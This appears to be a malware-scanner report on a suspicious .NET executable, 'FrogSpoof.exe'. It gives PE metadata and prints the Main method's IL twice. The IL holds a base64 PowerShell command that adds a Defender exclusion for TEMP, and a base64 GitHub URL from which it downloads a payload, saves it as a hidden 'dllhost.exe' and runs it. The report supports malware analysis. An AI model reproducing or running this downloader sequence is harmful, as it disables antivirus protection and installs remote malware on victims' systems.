Suspicious
Suspect

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Low
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
aa8519660c3e8e709659bff563e4c49b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Name Value
Module Name
FrogSpoof.exe
Full Name
FrogSpoof.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
FrogSpoof.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
FrogSpoof
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
165
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
124
Main IL 
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Port
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::SPL
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::USBNM
leave.s IL_009E: call System.Boolean Stub.Helper::CreateMutex()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.2 <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_009E: call System.Boolean Stub.Helper::CreateMutex()
call System.Boolean Stub.Helper::CreateMutex()
brtrue.s IL_00AB: ldc.i4 3072
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldc.i4 3072
call System.Void System.Net.ServicePointManager::set_SecurityProtocol(System.Net.SecurityProtocolType)
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr YWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiJEVudjpURU1QIiA=
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stloc.3 <null>
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
stloc.s V_7
ldloc.s V_7
ldstr powershell.exe
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
ldloc.s V_7
ldstr -NoProfile -ExecutionPolicy Bypass -Command "
ldloc.3 <null>
ldstr "
call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_7
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
ldloc.s V_7
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
ldloc.s V_7
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
ldloc.s V_7
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL05hZ2luczQyL3RrZS9yZWZzL2hlYWRzL21haW4vQ2xpZW50a2xlaXQuZXhl
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stloc.s V_5
ldstr TEMP
call System.String System.Environment::GetEnvironmentVariable(System.String)
stloc.s V_4
newobj System.Void System.Net.WebClient::.ctor()
stloc.s V_6
ldloc.s V_6
ldloc.s V_5
ldloc.s V_4
ldstr \dllhost.exe
call System.String System.String::Concat(System.String,System.String)
callvirt System.Void System.Net.WebClient::DownloadFile(System.String,System.String)
ldloc.s V_4
ldstr \dllhost.exe
call System.String System.String::Concat(System.String,System.String)
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_4
ldstr \dllhost.exe
call System.String System.String::Concat(System.String,System.String)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_7
ldloc.s V_7
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
ldloc.s V_7
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_0195: call System.Void Stub.Helper::PreventSleep()
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0195: call System.Void Stub.Helper::PreventSleep()
call System.Void Stub.Helper::PreventSleep()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.0 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldloc.0 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
Module Name
FrogSpoof.exe
Full Name
FrogSpoof.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
FrogSpoof.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
FrogSpoof
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
165
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
124
Main IL 
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Port
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::SPL
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::USBNM
leave.s IL_009E: call System.Boolean Stub.Helper::CreateMutex()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.2 <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_009E: call System.Boolean Stub.Helper::CreateMutex()
call System.Boolean Stub.Helper::CreateMutex()
brtrue.s IL_00AB: ldc.i4 3072
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldc.i4 3072
call System.Void System.Net.ServicePointManager::set_SecurityProtocol(System.Net.SecurityProtocolType)
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr YWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiJEVudjpURU1QIiA=
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stloc.3 <null>
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
stloc.s V_7
ldloc.s V_7
ldstr powershell.exe
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
ldloc.s V_7
ldstr -NoProfile -ExecutionPolicy Bypass -Command "
ldloc.3 <null>
ldstr "
call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_7
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
ldloc.s V_7
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
ldloc.s V_7
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
ldloc.s V_7
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL05hZ2luczQyL3RrZS9yZWZzL2hlYWRzL21haW4vQ2xpZW50a2xlaXQuZXhl
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stloc.s V_5
ldstr TEMP
call System.String System.Environment::GetEnvironmentVariable(System.String)
stloc.s V_4
newobj System.Void System.Net.WebClient::.ctor()
stloc.s V_6
ldloc.s V_6
ldloc.s V_5
ldloc.s V_4
ldstr \dllhost.exe
call System.String System.String::Concat(System.String,System.String)
callvirt System.Void System.Net.WebClient::DownloadFile(System.String,System.String)
ldloc.s V_4
ldstr \dllhost.exe
call System.String System.String::Concat(System.String,System.String)
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_4
ldstr \dllhost.exe
call System.String System.String::Concat(System.String,System.String)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_7
ldloc.s V_7
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
ldloc.s V_7
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_0195: call System.Void Stub.Helper::PreventSleep()
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0195: call System.Void Stub.Helper::PreventSleep()
call System.Void Stub.Helper::PreventSleep()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.0 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldloc.0 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙